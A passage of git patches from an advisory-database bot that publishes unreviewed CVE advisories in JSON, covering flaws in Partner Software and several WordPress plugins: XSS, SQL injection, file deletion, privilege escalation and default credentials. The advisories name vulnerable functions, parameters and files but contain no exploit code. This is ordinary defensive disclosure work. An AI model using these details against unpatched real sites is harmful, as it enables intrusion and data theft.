--- a/advisories/unreviewed/2025/07/GHSA-x33w-hjv7-gpx7/GHSA-x33w-hjv7-gpx7.json
+++ b/advisories/unreviewed/2025/07/GHSA-x33w-hjv7-gpx7/GHSA-x33w-hjv7-gpx7.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-x33w-hjv7-gpx7",
- "modified": "2025-07-16T12:30:21Z",
+ "modified": "2025-08-02T03:31:20Z",
"published": "2025-07-16T12:30:21Z",
"aliases": [
"CVE-2025-6993"
diff --git a/advisories/unreviewed/2025/08/GHSA-7rxx-x775-hwq2/GHSA-7rxx-x775-hwq2.json b/advisories/unreviewed/2025/08/GHSA-7rxx-x775-hwq2/GHSA-7rxx-x775-hwq2.json
new file mode 100644
index 0000000000000..ed17d5587c181
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7rxx-x775-hwq2/GHSA-7rxx-x775-hwq2.json
@@ -0,0 +1,29 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7rxx-x775-hwq2",
+ "modified": "2025-08-02T03:31:21Z",
+ "published": "2025-08-02T03:31:21Z",
+ "aliases": [
+ "CVE-2025-6077"
+ ],
+ "details": "Partner Software's Partner Software Product and corresponding Partner Web application use the same default username and password for the administrator account across all versions.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6077"
+ },
+ {
+ "type": "WEB",
+ "url": "https://partnersoftware.com/resources/software-release-info-4-32"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T03:15:24Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-frxx-4wv8-gw23/GHSA-frxx-4wv8-gw23.json b/advisories/unreviewed/2025/08/GHSA-frxx-4wv8-gw23/GHSA-frxx-4wv8-gw23.json
new file mode 100644
index 0000000000000..791b0898692b2
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-frxx-4wv8-gw23/GHSA-frxx-4wv8-gw23.json
@@ -0,0 +1,29 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-frxx-4wv8-gw23",
+ "modified": "2025-08-02T03:31:21Z",
+ "published": "2025-08-02T03:31:20Z",
+ "aliases": [
+ "CVE-2025-6078"
+ ],
+ "details": "Partner Software's Partner Software application and Partner Web application allows an authenticated user to add notes on the 'Notes' page when viewing a job but does not completely sanitize input, making it possible to add notes with HTML tags and JavaScript, enabling an attacker to add a note containing malicious JavaScript, leading to stored XSS (cross-site scripting).",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6078"
+ },
+ {
+ "type": "WEB",
+ "url": "https://partnersoftware.com/resources/software-release-info-4-32"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T03:15:24Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-v5qq-h69f-g539/GHSA-v5qq-h69f-g539.json b/advisories/unreviewed/2025/08/GHSA-v5qq-h69f-g539/GHSA-v5qq-h69f-g539.json
new file mode 100644
index 0000000000000..c0f6f1b5184ae
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-v5qq-h69f-g539/GHSA-v5qq-h69f-g539.json
@@ -0,0 +1,29 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-v5qq-h69f-g539",
+ "modified": "2025-08-02T03:31:21Z",
+ "published": "2025-08-02T03:31:21Z",
+ "aliases": [
+ "CVE-2025-6076"
+ ],
+ "details": "Partner Software's Partner Software application and Partner Web application do not sanitize files uploaded on the \"reports\" tab, allowing an authenticated attacker to upload a malicious file and compromise the device. By default, the software runs as SYSTEM, heightening the severity of the vulnerability.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6076"
+ },
+ {
+ "type": "WEB",
+ "url": "https://partnersoftware.com/resources/software-release-info-4-32"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T03:15:23Z"
+ }
+}
\ No newline at end of file
From ce112eba25cc56ae05714f46a82492d9eac0fdf0 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 06:33:06 +0000
Subject: [PATCH 310/323] Publish Advisories
GHSA-7rpq-f876-wqqx
GHSA-q3r7-8xrw-r6rw
---
.../GHSA-7rpq-f876-wqqx.json | 44 +++++++++++++++++++
.../GHSA-q3r7-8xrw-r6rw.json | 44 +++++++++++++++++++
2 files changed, 88 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-7rpq-f876-wqqx/GHSA-7rpq-f876-wqqx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q3r7-8xrw-r6rw/GHSA-q3r7-8xrw-r6rw.json
diff --git a/advisories/unreviewed/2025/08/GHSA-7rpq-f876-wqqx/GHSA-7rpq-f876-wqqx.json b/advisories/unreviewed/2025/08/GHSA-7rpq-f876-wqqx/GHSA-7rpq-f876-wqqx.json
new file mode 100644
index 0000000000000..e8a2cdca78466
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7rpq-f876-wqqx/GHSA-7rpq-f876-wqqx.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7rpq-f876-wqqx",
+ "modified": "2025-08-02T06:31:28Z",
+ "published": "2025-08-02T06:31:27Z",
+ "aliases": [
+ "CVE-2025-7694"
+ ],
+ "details": "The Woffice Core plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the woffice_file_manager_delete() function in all versions up to, and including, 5.4.26. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7694"
+ },
+ {
+ "type": "WEB",
+ "url": "https://hub.woffice.io/woffice/changelog"
+ },
+ {
+ "type": "WEB",
+ "url": "https://themeforest.net/item/woffice-intranetextranet-wordpress-theme/11671924"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/41a362cf-e27e-436a-85f1-7c48e2e098eb?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T04:15:37Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q3r7-8xrw-r6rw/GHSA-q3r7-8xrw-r6rw.json b/advisories/unreviewed/2025/08/GHSA-q3r7-8xrw-r6rw/GHSA-q3r7-8xrw-r6rw.json
new file mode 100644
index 0000000000000..c299337524a47
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q3r7-8xrw-r6rw/GHSA-q3r7-8xrw-r6rw.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q3r7-8xrw-r6rw",
+ "modified": "2025-08-02T06:31:28Z",
+ "published": "2025-08-02T06:31:28Z",
+ "aliases": [
+ "CVE-2025-8146"
+ ],
+ "details": "The Qi Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's TypeOut Text widget in all versions up to, and including, 1.9.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8146"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset/3335762"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/qi-addons-for-elementor/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4fdfdcbe-014b-4b68-9ac5-976d384106c3?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T05:15:23Z"
+ }
+}
\ No newline at end of file
From 2c244b0c4d3a4c0061fc2efe66b070b4d34f7736 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sat, 2 Aug 2025 09:31:58 +0000
Subject: [PATCH 311/323] Publish Advisories
GHSA-27rp-rjv6-3rv3
GHSA-3cq9-x9vj-w2qm
GHSA-7m46-h3mf-3mgv
GHSA-86r7-7qgg-4qfx
GHSA-f98w-r93j-6c74
GHSA-gwpj-fpf2-w7c7
GHSA-rj4m-vmxx-xx9r
GHSA-v6g9-v26j-6w22
GHSA-vrcj-8r35-5gqx
GHSA-wqwr-pr9c-fc8f
GHSA-wxh5-h8r6-4qxv
---
.../GHSA-27rp-rjv6-3rv3.json | 40 +++++++++++++
.../GHSA-3cq9-x9vj-w2qm.json | 44 +++++++++++++++
.../GHSA-7m46-h3mf-3mgv.json | 44 +++++++++++++++
.../GHSA-86r7-7qgg-4qfx.json | 56 +++++++++++++++++++
.../GHSA-f98w-r93j-6c74.json | 40 +++++++++++++
.../GHSA-gwpj-fpf2-w7c7.json | 40 +++++++++++++
.../GHSA-rj4m-vmxx-xx9r.json | 56 +++++++++++++++++++
.../GHSA-v6g9-v26j-6w22.json | 44 +++++++++++++++
.../GHSA-vrcj-8r35-5gqx.json | 48 ++++++++++++++++
.../GHSA-wqwr-pr9c-fc8f.json | 44 +++++++++++++++
.../GHSA-wxh5-h8r6-4qxv.json | 44 +++++++++++++++
11 files changed, 500 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-27rp-rjv6-3rv3/GHSA-27rp-rjv6-3rv3.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-3cq9-x9vj-w2qm/GHSA-3cq9-x9vj-w2qm.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-7m46-h3mf-3mgv/GHSA-7m46-h3mf-3mgv.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-86r7-7qgg-4qfx/GHSA-86r7-7qgg-4qfx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-f98w-r93j-6c74/GHSA-f98w-r93j-6c74.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-gwpj-fpf2-w7c7/GHSA-gwpj-fpf2-w7c7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-rj4m-vmxx-xx9r/GHSA-rj4m-vmxx-xx9r.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-v6g9-v26j-6w22/GHSA-v6g9-v26j-6w22.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-vrcj-8r35-5gqx/GHSA-vrcj-8r35-5gqx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wqwr-pr9c-fc8f/GHSA-wqwr-pr9c-fc8f.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wxh5-h8r6-4qxv/GHSA-wxh5-h8r6-4qxv.json
diff --git a/advisories/unreviewed/2025/08/GHSA-27rp-rjv6-3rv3/GHSA-27rp-rjv6-3rv3.json b/advisories/unreviewed/2025/08/GHSA-27rp-rjv6-3rv3/GHSA-27rp-rjv6-3rv3.json
new file mode 100644
index 0000000000000..a58ce79b11996
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-27rp-rjv6-3rv3/GHSA-27rp-rjv6-3rv3.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-27rp-rjv6-3rv3",
+ "modified": "2025-08-02T09:30:19Z",
+ "published": "2025-08-02T09:30:19Z",
+ "aliases": [
+ "CVE-2025-4588"
+ ],
+ "details": "The 360 Photo Spheres plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sphere' shortcode in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4588"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/360-sphere-images"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a654ee62-8742-49bc-95fd-bfab14750b50?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T08:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-3cq9-x9vj-w2qm/GHSA-3cq9-x9vj-w2qm.json b/advisories/unreviewed/2025/08/GHSA-3cq9-x9vj-w2qm/GHSA-3cq9-x9vj-w2qm.json
new file mode 100644
index 0000000000000..33cc855232307
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-3cq9-x9vj-w2qm/GHSA-3cq9-x9vj-w2qm.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-3cq9-x9vj-w2qm",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-8399"
+ ],
+ "details": "The Mmm Unity Loader plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘attributes’ parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8399"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.svn.wordpress.org/mmm-unity-loader/trunk/mmm-unity-loader.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/mmm-unity-loader/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2cee1d75-278c-45c6-915d-60aae6a4d3a2?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T09:15:48Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-7m46-h3mf-3mgv/GHSA-7m46-h3mf-3mgv.json b/advisories/unreviewed/2025/08/GHSA-7m46-h3mf-3mgv/GHSA-7m46-h3mf-3mgv.json
new file mode 100644
index 0000000000000..a49b51567a49e
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7m46-h3mf-3mgv/GHSA-7m46-h3mf-3mgv.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7m46-h3mf-3mgv",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-8391"
+ ],
+ "details": "The Magic Edge – Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘height’ parameter in all versions up to, and including, 1.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8391"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.svn.wordpress.org/magic-edge-lite-image-background-remover/tags/1.1.6/MagicEdgeFrontend.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/magic-edge-lite-image-background-remover/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fe456de4-4bf3-45aa-938d-8d4561fac44e?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T09:15:47Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-86r7-7qgg-4qfx/GHSA-86r7-7qgg-4qfx.json b/advisories/unreviewed/2025/08/GHSA-86r7-7qgg-4qfx/GHSA-86r7-7qgg-4qfx.json
new file mode 100644
index 0000000000000..f62f1c40c1273
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-86r7-7qgg-4qfx/GHSA-86r7-7qgg-4qfx.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-86r7-7qgg-4qfx",
+ "modified": "2025-08-02T09:30:19Z",
+ "published": "2025-08-02T09:30:19Z",
+ "aliases": [
+ "CVE-2025-6754"
+ ],
+ "details": "The SEO Metrics plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization checks in both the seo_metrics_handle_connect_button_click() AJAX handler and the seo_metrics_handle_custom_endpoint() function in versions 1.0.5 through 1.0.15. Because the AJAX action only verifies a nonce, without checking the caller’s capabilities, a subscriber-level user can retrieve the token and then access the custom endpoint to obtain full administrator cookies.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6754"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/seo-metrics-helper/trunk/common-functions.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/seo-metrics-helper/trunk/endpoint.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/seo-metrics-helper/trunk/seo-metrics.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/seo-metrics-helper/trunk/welcome-page.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/seo-metrics-helper/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/48658b33-ae53-4919-8180-1188f72553f7?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-862"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T08:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-f98w-r93j-6c74/GHSA-f98w-r93j-6c74.json b/advisories/unreviewed/2025/08/GHSA-f98w-r93j-6c74/GHSA-f98w-r93j-6c74.json
new file mode 100644
index 0000000000000..92905ac9b3713
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-f98w-r93j-6c74/GHSA-f98w-r93j-6c74.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-f98w-r93j-6c74",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-6832"
+ ],
+ "details": "The All in One Time Clock Lite – Tracking Employee Time Has Never Been Easier plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'nonce' parameter in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6832"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3336943%40aio-time-clock-lite&new=3336943%40aio-time-clock-lite&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/844b7471-3adf-45fd-9906-f0c817d6565c?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T09:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-gwpj-fpf2-w7c7/GHSA-gwpj-fpf2-w7c7.json b/advisories/unreviewed/2025/08/GHSA-gwpj-fpf2-w7c7/GHSA-gwpj-fpf2-w7c7.json
new file mode 100644
index 0000000000000..ae70168afd80d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gwpj-fpf2-w7c7/GHSA-gwpj-fpf2-w7c7.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gwpj-fpf2-w7c7",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-8212"
+ ],
+ "details": "The Medical Addon for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Typewriter widget in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8212"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/medical-addon-for-elementor/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9dc5452d-41e4-4b28-bb89-fe5ef9c10cb7?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T08:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-rj4m-vmxx-xx9r/GHSA-rj4m-vmxx-xx9r.json b/advisories/unreviewed/2025/08/GHSA-rj4m-vmxx-xx9r/GHSA-rj4m-vmxx-xx9r.json
new file mode 100644
index 0000000000000..a9a5f0f6a36aa
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-rj4m-vmxx-xx9r/GHSA-rj4m-vmxx-xx9r.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-rj4m-vmxx-xx9r",
+ "modified": "2025-08-02T09:30:20Z",
+ "published": "2025-08-02T09:30:20Z",
+ "aliases": [
+ "CVE-2025-8466"
+ ],
+ "details": "A vulnerability was found in code-projects Online Farm System 1.0. It has been classified as critical. Affected is an unknown function of the file /forgot_passfarmer.php. The manipulation of the argument email leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8466"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/wllovemy/cve/issues/11"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318516"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318516"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625785"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T09:15:48Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-v6g9-v26j-6w22/GHSA-v6g9-v26j-6w22.json b/advisories/unreviewed/2025/08/GHSA-v6g9-v26j-6w22/GHSA-v6g9-v26j-6w22.json
new file mode 100644
index 0000000000000..1e0fd7651f416
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-v6g9-v26j-6w22/GHSA-v6g9-v26j-6w22.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-v6g9-v26j-6w22",
+ "modified": "2025-08-02T09:30:19Z",
+ "published": "2025-08-02T09:30:19Z",
+ "aliases": [
+ "CVE-2025-6626"
+ ],
+ "details": "The ShortPixel Adaptive Images – WebP, AVIF, CDN, Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the API URL Setting in all versions up to, and including, 3.10.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6626"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/shortpixel-adaptive-images/tags/3.10.4/includes/front/vanilla-js-loader.class.php#L48"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3337681%40shortpixel-adaptive-images&new=3337681%40shortpixel-adaptive-images&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/56ab6429-4b1b-461a-9fcd-b4be84985118?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T08:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-vrcj-8r35-5gqx/GHSA-vrcj-8r35-5gqx.json b/advisories/unreviewed/2025/08/GHSA-vrcj-8r35-5gqx/GHSA-vrcj-8r35-5gqx.json
new file mode 100644
index 0000000000000..6de10e5356bec
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-vrcj-8r35-5gqx/GHSA-vrcj-8r35-5gqx.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-vrcj-8r35-5gqx",
+ "modified": "2025-08-02T09:30:19Z",
+ "published": "2025-08-02T09:30:19Z",
+ "aliases": [
+ "CVE-2025-8152"
+ ],
+ "details": "The WP CTA – Call To Action Plugin, Sticky CTA, Sticky Buttons plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'update_cta_status' and 'change_sticky_sidebar_name' functions in all versions up to, and including, 1.7.0. This makes it possible for unauthenticated attackers to update the status of a sticky and update the name displayed in the back-end WP CTA Dashboard.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
